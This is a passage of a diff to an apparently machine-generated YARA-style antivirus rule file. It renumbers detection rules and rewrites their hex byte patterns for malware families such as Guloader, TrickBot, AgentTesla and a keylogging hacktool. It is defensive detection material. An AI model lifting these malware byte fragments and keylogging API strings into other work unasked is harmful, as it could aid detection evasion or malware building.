>=3 } -rule _InfrastructureShared_15176{ +rule _InfrastructureShared_16171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -175480,7 +187209,7 @@ rule _InfrastructureShared_15176{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-24064) >=3 } -rule _InfrastructureShared_15177{ +rule _InfrastructureShared_16172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -175491,7 +187220,7 @@ rule _InfrastructureShared_15177{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*13824) >=3 } -rule _InfrastructureShared_15178{ +rule _InfrastructureShared_16173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -175508,7 +187237,7 @@ rule _InfrastructureShared_15178{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*30018+(#a_30_2 & 1)*11589+(#a_74_3 & 1)*25959+(#a_78_4 & 1)*24949+(#a_61_5 & 1)*28530+(#a_75_6 & 1)*29541+(#a_54_7 & 1)*18467) >=3 } -rule _InfrastructureShared_15179{ +rule _InfrastructureShared_16174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -175521,7 +187250,7 @@ rule _InfrastructureShared_15179{ ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*24949+(#a_64_2 & 1)*20270+(#a_01_3 & 1)*8960) >=4 } -rule _InfrastructureShared_15180{ +rule _InfrastructureShared_16175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -175534,7 +187263,7 @@ rule _InfrastructureShared_15180{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*-32477+(#a_46_2 & 1)*25972+(#a_30_3 & 1)*14381) >=4 } -rule _InfrastructureShared_15181{ +rule _InfrastructureShared_16176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -175547,7 +187276,7 @@ rule _InfrastructureShared_15181{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*22835+(#a_72_2 & 1)*21359+(#a_65_3 & 1)*25193) >=4 } -rule _InfrastructureShared_15182{ +rule _InfrastructureShared_16177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -175561,7 +187290,7 @@ rule _InfrastructureShared_15182{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*8251+(#a_50_2 & 1)*24946+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=4 } -rule _InfrastructureShared_15183{ +rule _InfrastructureShared_16178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -175576,7 +187305,7 @@ rule _InfrastructureShared_15183{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*28718+(#a_55_2 & 1)*-32753+(#a_61_3 & 1)*29550+(#a_00_4 & 1)*45+(#a_44_6 & 1)*3584) >=4 } -rule _InfrastructureShared_15184{ +rule _InfrastructureShared_16179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -175590,7 +187319,7 @@ rule _InfrastructureShared_15184{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*117+(#a_00_2 & 1)*101+(#a_00_3 & 1)*25188+(#a_6d_4 & 1)*29697) >=5 } -rule _InfrastructureShared_15185{ +rule _InfrastructureShared_16180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -175606,7 +187335,7 @@ rule _InfrastructureShared_15185{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25712+(#a_24_2 & 1)*4608+(#a_46_3 & 1)*21330+(#a_69_4 & 1)*26977+(#a_9c_5 & 1)*25712+(#a_01_6 & 1)*2) >=5 } -rule _InfrastructureShared_15186{ +rule _InfrastructureShared_16181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -175622,7 +187351,7 @@ rule _InfrastructureShared_15186{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*31344+(#a_74_2 & 1)*28265+(#a_00_3 & 1)*104+(#a_00_5 & 1)*92+(#a_67_6 & 1)*25189+(#a_6f_7 & 1)*11894) >=5 } -rule _InfrastructureShared_15187{ +rule _InfrastructureShared_16182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -175635,7 +187364,7 @@ rule _InfrastructureShared_15187{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_00_2 & 1)*115+(#a_00_3 & 1)*97) >=6 } -rule _InfrastructureShared_15188{ +rule _InfrastructureShared_16183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -175650,7 +187379,7 @@ rule _InfrastructureShared_15188{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*27765+(#a_2e_2 & 1)*13358+(#a_2f_3 & 1)*13166+(#a_6d_4 & 1)*11868+(#a_57_5 & 1)*9292) >=6 } -rule _InfrastructureShared_15189{ +rule _InfrastructureShared_16184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -175665,7 +187394,7 @@ rule _InfrastructureShared_15189{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*25971+(#a_85_2 & 1)*3842+(#a_6f_3 & 1)*11874+(#a_72_4 & 1)*24946+(#a_41_5 & 1)*24940) >=6 } -rule _InfrastructureShared_15190{ +rule _InfrastructureShared_16185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -175679,7 +187408,7 @@ rule _InfrastructureShared_15190{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28018+(#a_6d_2 & 1)*25390+(#a_74_3 & 1)*26485+(#a_34_4 & 1)*13106) >=6 } -rule _InfrastructureShared_15191{ +rule _InfrastructureShared_16186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -175693,7 +187422,7 @@ rule _InfrastructureShared_15191{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*3584+(#a_e6_2 & 1)*0+(#a_2e_4 & 1)*656+(#a_44_5 & 1)*29541) >=6 } -rule _InfrastructureShared_15192{ +rule _InfrastructureShared_16187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -175708,7 +187437,7 @@ rule _InfrastructureShared_15192{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*27503+(#a_31_2 & 1)*12344+(#a_65_3 & 1)*24943+(#a_6c_4 & 1)*24931+(#a_53_5 & 1)*8993) >=6 } -rule _InfrastructureShared_15193{ +rule _InfrastructureShared_16188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -175722,7 +187451,7 @@ rule _InfrastructureShared_15193{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28261+(#a_5c_2 & 1)*25954+(#a_6f_3 & 1)*28279+(#a_00_5 & 1)*108) >=6 } -rule _InfrastructureShared_15194{ +rule _InfrastructureShared_16189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -175738,7 +187467,7 @@ rule _InfrastructureShared_15194{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29251+(#a_00_2 & 1)*108+(#a_34_3 & 1)*13624+(#a_65_4 & 1)*17153+(#a_73_5 & 1)*26990+(#a_69_6 & 1)*28783) >=7 } -rule _InfrastructureShared_15195{ +rule _InfrastructureShared_16190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -175754,7 +187483,7 @@ rule _InfrastructureShared_15195{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*13665+(#a_63_2 & 1)*30063+(#a_54_3 & 1)*8497+(#a_65_4 & 1)*28271+(#a_e6_5 & 1)*0+(#a_65_6 & 1)*29295) >=7 } -rule _InfrastructureShared_15196{ +rule _InfrastructureShared_16191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -175763,30 +187492,47 @@ rule _InfrastructureShared_15196{ $a_64_1 = {73 73 65 6e 74 73 5c 65 78 70 72 65 73 73 69 6f 6e 6c 65 73 73 6c 79 2e 61 75 62 01 00 11 81 01 37 5c 73 65 74 61 63 65 6f 75 73 6c 79 2e 74 72 75 01 00 15 81 01 25 4c 6f 7a 65 6e 67 79 25 5c 48 79 64 72 6f 70 68 69 6c 69 64 01 00 09 81 01 73 74 72 6f 67 65 6e 65 73 01 00 08 81 01 74 72 75 6e 63 61 67 65 01 00 15 81 01 67 65 64 } //25948 $a_6b_2 = {65 73 74 79 72 65 6e 65 73 2e 65 78 65 00 00 78 e6 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 52 30 31 21 4d 54 42 00 01 00 1a 81 01 23 5c 68 69 64 61 74 65 64 5c 6f 76 65 72 77 69 74 68 65 72 65 64 2e 76 65 72 01 00 1b 81 01 72 61 6e 73 61 63 6b 65 64 5c 66 61 72 76 65 68 61 6e 64 6c 65 6e 73 } //25189 $a_74_3 = {00 1d 81 01 69 6e 67 68 69 6c 6f 69 73 5c 53 74 6f 72 6d 65 6e 64 65 5c 50 65 6a 6c 65 74 31 38 34 01 00 0d 81 01 73 63 68 61 74 74 65 72 69 6e 67 65 6e 01 00 14 81 01 75 6e 63 68 61 72 6d 20 73 75 70 65 72 70 61 74 69 65 6e 74 01 00 1b 81 01 74 69 6c 73 79 6e 20 6e 64 73 74 69 6c 66 6c 64 65 6e 65 73 } //27950 - $a_6e_4 = {6e 74 01 00 0c 81 01 64 69 73 73 65 76 65 72 2e 65 78 65 00 00 78 e6 00 00 09 00 09 00 09 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 75 6c 74 69 53 65 74 75 70 00 01 00 0a 80 01 75 73 65 64 4f 66 66 65 72 73 01 00 0c 80 01 64 65 6e 69 65 64 4f 66 66 65 72 73 01 00 08 80 01 62 75 6e 64 6c 65 } //27936 - $a_00_5 = {0b } //25673 - $a_72_6 = {44 6f 77 6e 6c 6f 61 64 01 00 0f 80 01 73 69 6c 65 6e 74 50 61 72 61 6d 65 74 65 72 01 00 12 80 01 5c 6d 73 65 74 75 70 5c 6d 73 65 74 75 70 2e 65 78 65 01 00 1c 80 01 79 61 6e 64 65 78 2e 72 75 2f 73 6f 66 74 2f 64 69 73 74 72 69 62 75 74 69 6f 6e 2f 01 00 17 80 01 53 6f 66 74 77 61 72 65 5c 4f 70 65 72 61 20 53 6f 66 74 77 61 72 65 01 00 1d 80 01 } //384 + $a_6e_4 = {6e 74 01 00 0c 81 01 64 69 73 73 65 76 65 72 2e 65 78 65 00 00 78 e6 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 51 4a 30 31 21 4d 54 42 00 01 00 12 81 01 70 61 73 74 20 73 61 78 6f 66 6f 6e 20 6e 61 79 61 72 01 00 0c 81 01 61 6e 68 6e 67 65 } //27936 + $a_65_5 = {65 01 00 14 81 01 76 69 64 65 6e 73 6b 61 62 73 6d 61 6e 64 65 6e 2e 6a 70 67 01 00 0e 81 01 74 72 69 67 6c 79 70 68 65 64 2e 74 78 74 01 } //29554 + $a_01_6 = {6d 61 72 67 61 72 6f 64 69 64 2e 73 79 73 01 00 16 81 01 6d 69 63 72 6f 64 65 6e 73 69 74 6f 6d 65 74 65 72 73 2e 69 6e 69 01 00 0d 81 01 6c 65 6d 75 72 6c 69 6b 65 2e 6b 69 6e 01 00 0f 81 01 61 67 65 72 64 79 72 6b 65 72 65 2e 69 6e 69 01 00 11 81 01 48 6f 76 65 64 76 61 67 74 73 32 34 30 2e 6a 70 67 00 00 78 e6 00 00 09 00 09 00 09 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 75 6c 74 } //3584 condition: - ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25948+(#a_6b_2 & 1)*25189+(#a_74_3 & 1)*27950+(#a_6e_4 & 1)*27936+(#a_00_5 & 1)*25673+(#a_72_6 & 1)*384) >=7 + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25948+(#a_6b_2 & 1)*25189+(#a_74_3 & 1)*27950+(#a_6e_4 & 1)*27936+(#a_65_5 & 1)*29554+(#a_01_6 & 1)*3584) >=7 } -rule _InfrastructureShared_15197{ +rule _InfrastructureShared_16192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 52 30 31 21 4d 54 42 00 01 00 1a 81 01 23 5c 68 69 64 61 74 65 64 5c 6f 76 65 72 77 69 74 68 65 72 65 64 2e 76 65 72 01 00 1b 81 01 72 61 6e 73 61 63 6b 65 64 5c 66 61 72 76 65 68 61 6e 64 6c } //18467 $a_2e_1 = {65 74 01 00 1d 81 01 69 6e 67 68 69 6c 6f 69 73 5c 53 74 6f 72 6d 65 6e 64 65 5c 50 65 6a 6c 65 74 31 38 34 01 00 0d 81 01 73 63 68 61 74 74 65 72 69 6e 67 65 6e 01 00 14 81 01 75 6e 63 68 61 72 6d 20 73 75 70 65 72 70 61 74 69 65 6e 74 01 00 1b 81 01 74 69 6c 73 79 6e 20 6e 64 73 74 69 6c 66 6c 64 65 6e 65 73 20 6d 61 6e 65 6e 74 01 00 0c 81 } //28261 - $a_73_2 = {65 76 65 72 2e 65 78 65 00 00 78 e6 00 00 09 00 09 00 09 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 75 6c 74 69 53 65 74 75 70 00 01 00 0a 80 01 75 73 65 64 4f 66 66 65 72 73 01 00 0c 80 01 64 65 6e 69 65 64 4f 66 66 65 72 73 01 00 08 80 01 62 75 6e 64 6c 65 49 64 01 00 0b 80 01 75 72 6c 44 6f 77 6e 6c 6f 61 64 01 } //25601 - $a_01_3 = {73 69 6c 65 6e 74 50 61 72 61 6d 65 74 65 72 01 00 12 80 01 5c 6d 73 65 74 75 70 5c 6d 73 65 74 75 70 2e 65 78 65 01 00 1c 80 01 79 61 6e 64 65 78 2e 72 75 2f 73 6f 66 74 2f 64 69 73 74 72 69 62 75 74 69 6f 6e 2f 01 00 17 80 01 53 6f 66 74 77 61 72 65 5c 4f 70 65 72 61 20 53 6f 66 74 77 61 72 65 01 00 1d 80 01 53 4f 46 54 57 41 52 45 5c 41 56 41 53 54 20 53 6f 66 74 77 61 72 65 5c } //3840 - $a_73_4 = {00 00 78 e6 00 00 0a 00 0a 00 09 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 72 69 63 6b 42 6f 74 43 72 79 70 74 2e 4d 54 21 4d 54 42 00 05 00 14 00 d3 c0 8a fc 8a e6 d3 cb ff 4d fc 75 f3 59 8b c3 aa 49 75 c2 01 00 0f 81 01 44 6c 6c 43 61 6e 55 6e 6c 6f 61 64 4e 6f 77 01 } //30273 - $a_01_5 = {44 6c 6c 47 65 74 43 6c 61 73 73 4f 62 6a 65 63 74 01 00 11 81 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 13 81 01 44 6c 6c 55 6e 52 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 10 81 01 47 65 74 41 73 79 6e 63 4b 65 79 53 74 61 74 65 01 00 0a 81 01 47 65 74 43 61 70 74 75 72 65 01 00 0f 81 01 55 72 6c 49 73 4e 6f 48 69 73 74 6f 72 79 41 01 00 09 81 01 49 4c 43 6f 6d } //4352 - $a_65_6 = {00 78 e6 00 00 0b 00 0b 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 61 74 63 68 4d 6a 44 65 76 69 63 65 43 6f 6e 74 72 6f 6c 2e 41 21 64 68 61 00 0a 00 1b 03 48 8b 81 e0 00 00 00 48 89 05 90 01 04 48 8d 05 90 01 04 87 81 e0 00 00 00 90 00 0a 00 1c 03 48 8b 81 e0 00 00 00 48 89 05 90 01 04 48 8d 05 90 01 } //26978 + $a_73_2 = {65 76 65 72 2e 65 78 65 00 00 78 e6 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 51 4a 30 31 21 4d 54 42 00 01 00 12 81 01 70 61 73 74 20 73 61 78 6f 66 6f 6e 20 6e 61 79 61 72 01 00 0c 81 01 61 6e 68 6e 67 65 72 73 2e 65 78 65 01 00 14 81 01 76 69 64 65 6e 73 6b 61 } //25601 + $a_61_3 = {64 65 6e 2e 6a 70 67 01 00 0e 81 01 74 72 69 67 6c 79 70 68 65 64 2e 74 78 74 01 00 0e 81 01 6d 61 72 67 61 72 6f 64 69 64 2e 73 79 73 01 00 16 81 01 6d 69 63 72 6f 64 65 6e 73 69 74 6f 6d 65 74 65 72 73 2e 69 6e 69 01 00 0d 81 01 6c 65 6d 75 72 6c 69 6b 65 2e 6b 69 6e 01 00 0f 81 01 61 67 65 72 64 79 72 6b 65 72 65 2e 69 6e } //29538 + $a_76_5 = {64 76 61 67 74 73 32 34 30 2e 6a 70 67 00 00 78 e6 00 00 09 00 09 00 09 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 75 6c 74 69 53 65 74 75 70 00 01 00 0a 80 01 75 73 65 64 4f 66 66 65 72 73 01 00 0c 80 01 64 65 6e 69 65 64 4f 66 66 65 72 73 01 00 08 80 01 62 75 6e 64 6c 65 49 64 01 00 0b 80 01 75 72 6c 44 6f 77 6e 6c 6f 61 64 01 00 } //18433 + $a_73_6 = {6c } //-32753 l condition: - ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*28261+(#a_73_2 & 1)*25601+(#a_01_3 & 1)*3840+(#a_73_4 & 1)*30273+(#a_01_5 & 1)*4352+(#a_65_6 & 1)*26978) >=7 + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*28261+(#a_73_2 & 1)*25601+(#a_61_3 & 1)*29538+(#a_76_5 & 1)*18433+(#a_73_6 & 1)*-32753) >=7 } -rule _InfrastructureShared_15198{ +rule _InfrastructureShared_16193{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 51 4a 30 31 21 4d 54 42 00 01 00 12 81 01 70 61 73 74 20 73 61 78 6f 66 6f 6e 20 6e 61 79 61 72 01 00 0c 81 01 61 6e 68 6e 67 65 72 73 2e 65 78 65 01 00 14 81 01 76 69 64 65 6e 73 6b 61 62 73 6d 61 } //18467 + $a_6e_1 = {6a 70 67 01 00 0e 81 01 74 72 69 67 6c 79 70 68 65 64 2e 74 78 74 01 00 0e 81 01 6d 61 72 67 61 72 6f 64 69 64 2e 73 79 73 01 00 16 81 01 6d 69 63 72 6f 64 65 6e 73 69 74 6f 6d 65 74 65 72 73 2e 69 6e 69 01 00 0d 81 01 6c 65 6d 75 72 6c 69 6b 65 2e 6b 69 6e 01 00 0f 81 01 61 67 65 72 64 79 72 6b 65 72 } //25710 + $a_6e_2 = {01 00 11 81 01 48 6f 76 65 64 76 61 67 74 73 32 34 30 2e 6a 70 67 00 00 78 e6 00 00 09 00 09 00 09 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 75 6c 74 69 53 65 74 75 70 00 01 00 0a 80 01 75 73 65 64 4f 66 66 65 72 73 01 00 0c 80 01 64 65 6e 69 65 64 4f 66 66 65 72 73 01 00 08 80 01 62 75 6e 64 6c 65 49 64 01 00 0b } //11877 + $a_72_3 = {44 6f 77 6e 6c 6f 61 64 01 00 0f 80 01 73 69 6c 65 6e 74 50 61 72 61 6d 65 74 65 72 01 00 12 80 01 5c 6d 73 65 74 75 70 5c 6d 73 65 74 75 70 2e 65 78 65 01 00 1c 80 01 79 61 6e 64 65 78 2e 72 75 2f 73 6f 66 74 2f 64 69 73 74 72 69 62 75 74 69 6f 6e 2f 01 00 17 80 01 53 6f 66 74 77 61 72 65 5c 4f 70 65 72 61 20 53 6f 66 74 77 61 72 65 01 00 1d 80 01 } //384 + $a_54_4 = {41 52 45 5c 41 56 41 53 54 20 53 6f 66 74 77 61 72 65 5c 41 76 61 73 74 00 00 78 e6 00 00 0a 00 0a 00 09 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 72 69 63 6b 42 6f 74 43 72 79 70 74 2e 4d } //20307 + $a_54_5 = {00 05 00 14 00 d3 c0 8a fc 8a e6 d3 cb ff 4d fc 75 f3 59 8b c3 aa 49 75 c2 01 00 0f 81 01 44 6c 6c 43 61 6e 55 6e 6c 6f 61 64 4e 6f 77 01 00 11 81 01 44 6c 6c 47 65 74 43 6c 61 73 73 4f 62 6a 65 63 74 01 00 11 81 01 44 6c 6c 52 65 } //8532 + $a_74_6 = {72 53 65 72 76 65 72 01 00 13 81 01 44 6c 6c 55 6e 52 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 10 81 01 47 65 74 41 73 79 6e 63 4b 65 79 53 74 61 74 65 01 00 0a 81 01 47 65 74 43 61 70 74 75 72 65 01 00 0f 81 01 55 72 6c 49 73 4e 6f 48 69 73 74 6f 72 79 41 01 00 09 81 01 49 4c 43 6f 6d 62 69 6e 65 00 00 78 e6 00 00 0b 00 0b 00 08 00 21 23 } //26983 + $a_3a_7 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 61 74 63 68 4d 6a 44 65 76 69 63 65 43 6f 6e 74 72 6f 6c 2e 41 21 64 68 61 00 0a 00 1b 03 48 8b 81 e0 00 00 00 48 89 05 ?? ?? ?? ?? 48 8d 05 ?? ?? ?? ?? 87 81 e0 00 00 00 } //19521 + $a_03_8 = {48 8b 81 e0 00 00 00 48 89 05 ?? ?? ?? ?? 48 8d 05 ?? ?? ?? ?? 48 87 81 e0 00 00 00 } //10 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25710+(#a_6e_2 & 1)*11877+(#a_72_3 & 1)*384+(#a_54_4 & 1)*20307+(#a_54_5 & 1)*8532+(#a_74_6 & 1)*26983+(#a_3a_7 & 1)*19521+(#a_03_8 & 1)*10) >=9 + +} +rule _InfrastructureShared_16194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -175804,7 +187550,7 @@ rule _InfrastructureShared_15198{ ((#a_41_0 & 1)*20515+(#a_74_1 & 1)*25964+(#a_6f_2 & 1)*8276+(#a_c2_3 & 1)*18858+(#a_75_4 & 1)*28769+(#a_00_5 & 1)*-32377+(#a_38_6 & 1)*13923+(#a_53_7 & 1)*-32502+(#a_2e_8 & 1)*25972) >=9 } -rule _InfrastructureShared_15199{ +rule _InfrastructureShared_16195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " @@ -175821,7 +187567,7 @@ rule _InfrastructureShared_15199{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*28245+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_e6_4 & 1)*0+(#a_73_5 & 1)*29806+(#a_41_7 & 1)*8448+(#a_34_8 & 1)*25957) >=10 } -rule _InfrastructureShared_15200{ +rule _InfrastructureShared_16196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 08 00 21 " @@ -175836,7 +187582,7 @@ rule _InfrastructureShared_15200{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-32373+(#a_00_3 & 1)*2050+(#a_6f_5 & 1)*385+(#a_73_6 & 1)*21249+(#a_2d_7 & 1)*16688) >=11 } -rule _InfrastructureShared_15201{ +rule _InfrastructureShared_16197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -175854,7 +187600,7 @@ rule _InfrastructureShared_15201{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*0+(#a_7e_3 & 1)*32382+(#a_e6_4 & 1)*0+(#a_71_5 & 1)*28525+(#a_48_7 & 1)*8448+(#a_02_8 & 1)*10+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1) >=11 } -rule _InfrastructureShared_15202{ +rule _InfrastructureShared_16198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 08 00 21 " @@ -175869,7 +187615,7 @@ rule _InfrastructureShared_15202{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*32327+(#a_00_4 & 1)*15+(#a_6e_5 & 1)*22330+(#a_65_6 & 1)*24936+(#a_23_7 & 1)*8) >=12 } -rule _InfrastructureShared_15203{ +rule _InfrastructureShared_16199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -175893,7 +187639,7 @@ rule _InfrastructureShared_15203{ ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*26989+(#a_7a_2 & 1)*2816+(#a_72_3 & 1)*26486+(#a_00_4 & 1)*-10729+(#a_2c_5 & 1)*4358+(#a_04_6 & 1)*1043+(#a_41_7 & 1)*24946+(#a_00_8 & 1)*18+(#a_72_9 & 1)*14930+(#a_28_10 & 1)*1025+(#a_9a_11 & 1)*1025+(#a_04_12 & 1)*-28561+(#a_90_13 & 1)*5639+(#a_69_14 & 1)*29811) >=15 } -rule _InfrastructureShared_15204{ +rule _InfrastructureShared_16200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -175910,7 +187656,7 @@ rule _InfrastructureShared_15204{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1041+(#a_74_2 & 1)*16761+(#a_54_3 & 1)*28261+(#a_16_4 & 1)*4868+(#a_08_5 & 1)*28675+(#a_41_6 & 1)*23105+(#a_00_7 & 1)*21581) >=17 } -rule _InfrastructureShared_15205{ +rule _InfrastructureShared_16201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -175924,22 +187670,37 @@ rule _InfrastructureShared_15205{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*3076+(#a_04_2 & 1)*-28561+(#a_6f_3 & 1)*4356+(#a_05_4 & 1)*1299) >=18 } -rule _InfrastructureShared_15206{ +rule _InfrastructureShared_16202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 0b 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 44 33 30 37 21 4d 54 42 00 01 00 09 00 43 68 61 72 41 72 72 61 79 01 00 09 00 53 75 62 73 74 72 69 6e 67 01 00 0e 00 54 6f 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 10 } //18467 $a_6f_1 = {42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 00 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 06 00 67 65 74 5f 53 61 01 00 06 00 67 65 74 5f 58 65 01 00 06 00 67 65 74 5f 5a 72 0a 00 25 81 01 24 43 34 41 37 32 36 30 37 2d 46 45 46 36 2d 34 39 45 37 2d 42 32 36 37 2d 30 45 44 45 38 36 39 39 43 43 45 46 0a 00 09 00 20 00 58 00 00 fe 04 13 } //17920 - $a_13_4 = {00 00 78 e7 } //-512 - $a_00_5 = {01 } //0 - $a_50_7 = {52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 47 64 6c 6f 67 67 65 72 2e 41 21 64 68 61 00 01 00 3b 03 6f 70 5f 49 6e 90 01 01 71 75 61 6c 69 74 79 00 00 00 01 00 0f 6b 00 65 00 79 00 2e 90 01 01 74 00 78 00 } //19521 - $a_00_10 = {00 07 5d 00 0d 00 0a 00 00 00 90 00 01 00 76 03 67 00 64 00 72 00 69 00 76 00 65 00 6d 00 6f 90 } //93 + $a_13_4 = {00 00 78 e6 } //-512 + $a_00_5 = {46 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 64 69 65 2e 4d 52 21 4d 54 42 00 14 00 24 01 4c 8b 45 9f 49 8d 40 ff 48 8b 4d a7 48 23 c1 48 8b 5d 97 4c 8b 0c c3 48 8b d6 48 89 55 d7 } //0 + $a_48_6 = {c0 } //-29879 + $a_03_7 = {0f 57 c0 c7 45 90 90 98 00 00 00 48 8d 05 ba ?? ?? 00 0f 11 45 a8 48 89 45 a8 48 8d 4d 90 90 48 8d 85 a0 00 00 00 0f 11 45 98 4c 89 6d 98 0f 11 45 b8 48 89 45 c0 0f 11 45 c8 c7 45 c8 04 01 00 00 } //20 + $a_01_8 = {0f 49 d0 8d 04 12 8b c8 81 f1 b7 1d c1 04 85 d2 0f 49 